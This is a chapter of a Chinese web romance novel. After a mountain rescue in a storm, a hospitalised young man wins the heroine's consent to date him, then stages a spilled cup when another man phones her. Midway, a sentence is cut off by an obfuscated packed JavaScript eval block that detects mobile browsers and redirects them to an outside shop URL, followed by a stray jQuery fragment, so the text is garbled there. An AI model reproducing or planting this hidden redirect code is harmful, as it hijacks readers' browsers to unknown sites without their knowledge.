27. 回应

作品:《格桑梅朵

    病房门口传来脚步声,蓝色布帘被人一把掀开。


    小孟推着护理车走过来,车上码得整整齐齐的全是输液软袋,摞得跟小山似的。她瞥见床上的人睁了眼,眉毛一挑,哟了一声:“醒了啊?身体素质够不错的嘛。”


    这一嗓子中气十足,直接把孙瑶从梦里拽出来。她眼睛都没睁全,迷迷糊糊地扶着床沿坐起身,声音还带着浓重的鼻音:“几点了?”


    “八点半啦。”这声音听着不对,不是阿妈。


    她一个激灵,彻底清醒,转头看清来人,下意识打了个招呼:“小孟护士早上好。”话说完才想起来身侧还躺着个病号呢。


    头一扭,正对上那双已经醒了不知多久的眼睛:“诶?你什么时候醒的?”


    “醒了好一会儿咯。”小孟护士一边摆弄着输液架,一边头也不抬地接话,“盯你盯得可认真了,跟看眼珠子似的。”


    这话砸下来,孙瑶愣了一秒,眨了眨眼,脸上倒是平平淡淡的,看不出什么特别的反应,倒是魏亭,耳根肉眼可见地红了。


    小孟看她这副反应,忍不住心里啧了声:黄花少男啊?这种级别的打趣都能红耳朵,今儿开眼了。


    “现在感觉哪里还痛哦?”她双手把住护理床,语气里带着点哄小孩的意思。


    魏亭艰难地把头扭回来,伸手指了指右腿。


    “清创缝合后麻药失效的正常反应,好好休养就行。”小孟拍拍他脚边的被子,“年轻体壮的,这几天让你女朋友多送点好吃的,很快就养回来了。”


    她推着车往门口走,临出病房前脚步一顿,回头又看了一眼,目光却没有落在魏亭身上,而是停留在窗边低头想事的人身上。


    瞧着差不多的年纪,感觉比自己成熟多了。


    “傻人有傻福,怪会找女朋友的。”


    昨夜魏亭被送进医院,正好是她值班。担架车推进来的那一刻,那小伙全身上下都是泥,衣服破了好几处,露出来的皮肤也是血呼刺啦的。倒霉娃子,不晓得是从哪个土坎坎栽下来了。


    身上的保温毯倒是裹得严严实实。


    她正准备去帮忙,一抬头,就看见了跟在担架车边上的孙瑶。


    她还站着,但看着比躺着的情况好不到哪儿去。衣服贴在身上,头发一缕一缕地滴着水,脸白得跟鬼一样,眼瞅着也是出气多进气少。


    可她愣是一声没吭,就那么死死跟着担架车,手还攥着车上栏杆不放,像是怕一松手人就没了。她连忙上去扶了一把,碰到孙瑶手臂时心里一惊,这还有活人的温度吗?


    说来也巧,上山救援的两人里,有一个正是她刚交往一个月的男朋友。他一边往医院里送人,一边跟她感慨,说病床上那小子命真大,亏得有那女孩护着,不然这回怕是要在阿米贡洪嗝屁了。


    昨夜夏河遭遇了三十年难得一遇的突发恶劣天气,风大雨急,能见度不足五米。救援难度大,人手又不够,他们这支小队在山里转悠了大半宿,嗓子都喊冒烟了,愣是没找到人。本来都打算放弃,准备等天亮再组织第二轮搜救。


    谁成想,半路上撞见了那女孩。


    当时她浑身湿透,陡然出现在他们两个大男人面前,跟抹幽魂似的。见到他们第一反应不是哭,也不是喊救命,而是死死攥住他胳膊,用冻到快要失声的嗓子挤出一句话:


    “快跟我走,他撑不住了。”


    他当时就愣住了。这种天气,这种路况,她一个女孩子,单枪匹马从山上爬下来?现在还要带着他俩爬上去?超人啊。


    两个人跟着她往回走,一路越走越心惊。她走得不快,但每一步都稳,哪块石头能踩、哪条路能走,她脑子里跟开了导航一样,在夹杂着冰雹的雨里穿行得毫不犹豫。


    有好几段路,他们俩大男人都得手脚并用才能过去,她就在前面等着,一声不吭,只是回头看一眼,确认他们跟上,然后继续走。


    找到伤患的时候,那小子窝在岩缝里,身上裹着保温毯,止血带绑得专业,包扎手法干净,连伤肢抬高的角度都刚刚好。


    他和伙计对视一眼,谁都说不出话来。这他妈是人!


    讲到最后,小孟那个自认识就狂到没边的男朋友憋出一句:“那女的……是个人物。”语气里没了平日里那副吊儿郎当的劲儿,认认真真的,带着点说不清道不明的服气。


    病房内,积压了一夜的话,眼下可以问了。孙瑶起身将窗户全部打开,消毒水的味道散去不少,闻着好受多了。


    “你什么时候来的甘南?”


    魏亭小心觎她神色,食指紧扣住床沿,老实答道:“三天前。”


    孙瑶奇怪地瞥他一眼,忍不住问:“一个人去夏河干吗?除了扎西你还认识别人?”


    碌曲县城太小了,偷摸着回来躲在城里说不定就会被眼熟的人发现,他还不知道要以怎样的面目来见她,思来想去,只好躲在了邻近县城。不过这话他可没脸说出口。


    “我……有朋友准备来夏河玩,我帮她提前探探路。”


    “哦。”她不再追问,看起来没有怀疑。


    病房里再度沉寂下来。


    魏亭迟疑了很久,终于鼓起勇气望向孙瑶,声音里带着试探:“那个……你昨天山上说的话,还算数吗?”


    孙瑶揉捏僵硬脖颈的手一顿。昨天没晕?饭可以乱吃,话可不能乱说,这下该怎么办?要不干脆赖掉这笔帐,就说是他头脑发昏臆想的,自己压根没讲过?


    白色床单被魏亭修长的手指攥出一片褶皱,没等她回答,又急切道:“你说过,如果我能活到今天,你会考虑的。你不能不讲信用啊……你们这行,不是最忌讳塔西佗陷阱么?”


    她侧头瞥了他一眼,眼底掠过一丝意外。还知道塔西佗陷阱?她还以为这家伙只长了一张好脸呢。


    孙瑶抿着唇没应声,他越发没了底气,眼底的焦躁几乎要溢出来,可翻来想去也没别的办法,干脆像商场里看中玩具不肯走的小孩,低声耍起赖来,一遍遍重复:“你答应过我的……你答应了的。”


    赖账本就不是她的作风。虽然脑子里还有些


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408327|197956||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    东西没理清,但想起听见他出事那一刻内心的慌乱,她想自己大概是对这家伙存了几分好感。


    至于这份好感有多重、能走多远,那是她之后要慢慢探求的事。她坐直身体,那双山岩棕的眼睛注视着他,嘴上镇定,手却慢慢绞紧:“我答应你。”


    魏亭一愣,几乎不敢相信:“你说真的?没骗我吧?”


    “我确定。”


    可能是之前遭拒的经历对他打击过大,这一时的口头承诺总感觉轻飘飘的,要不亲她一口?


    这个念头刚冒出来,他的手指就僵住了。不会挨打吧?他偷偷瞄了她一眼,又迅速移开目光,眼皮忍不住发颤。那要不抱一下?


    指腹已经捻得发红了,他还是没能做出任何动作。那些翻涌的情绪堵在喉咙口,最后化成一句极轻的询问:


    “那……我能抱你一下吗?”


    话刚出口,他便看见她眉心轻轻一蹙,心口立刻像被什么东西攥紧。是不是要求提的太过分了,他立马改口:“你就当我瞎说,不抱……”也没什么。


    最后四个字还没落音,一缕甜香已经飘了过来,一双手轻轻环住他的腰部,温热的呼吸落在他的耳廓,带着点痒。


    耳边传来她不确定的声音:“这样可以吧?”


    他整个人像是被施了定身术,在她靠近的那一秒就完全僵住。脊背绷成一条直线,连呼吸都忘了,只能屏着气,感受她传来的温度。


    “可——可以。”心脏跳得太响了,争点气啊,兄弟,别让人笑话。


    他垂下眼,看见还扎着留置针的手搁在她身侧,指尖发颤。原来这就是大难不死,必有后福。


    没等他仔细品味这个拥抱的好滋味,头顶的手机铃声便不合时宜地响起,将他来之不易的温存生生截断。


    孙瑶的手机搁在床头柜上,外放的声音清晰得很。电话那头是个年轻男人的嗓门,又快又急,噼里啪啦说了一通,大意是过两天他从合作市回来,会准时在家等孙瑶过去。


    魏亭的眉毛几乎是以肉眼可见的速度拧了起来。


    又是哪个不要脸的家伙?演都不演了?在家自荐枕席?想都别想,他已经是她的人了。


    他的目光闪了闪,不动声色地伸手去够床头的水杯。手指搭上杯壁时故意偏转角度,颤颤巍巍地刚端起来,便“咣当”一声砸在地上,水花溅了一地,动静大得连在隔壁查房的小孟都听见了。


    “抱歉,”他垂下眼,声音很是虚弱,“我想喝水……手上没力气。”


    电话那头果然顿了一下,年轻男人的声音又传过来,直白坦率:“是有其他人在吗?我是不是打扰了?”


    魏亭冷哼一声:算你小子有自知之明。


    孙瑶蹲下身去捡杯子,拧开水壶给他重新倒水,一边对着那人答了一句:“是我的……一个朋友。”


    魏亭盯着她递过来的水杯,稳稳当当地接住,半分瞧不出刚刚的没力气,关注点完全落在“朋友”两个字上。


    话说,朋友前面是不是漏了一个七笔画的字?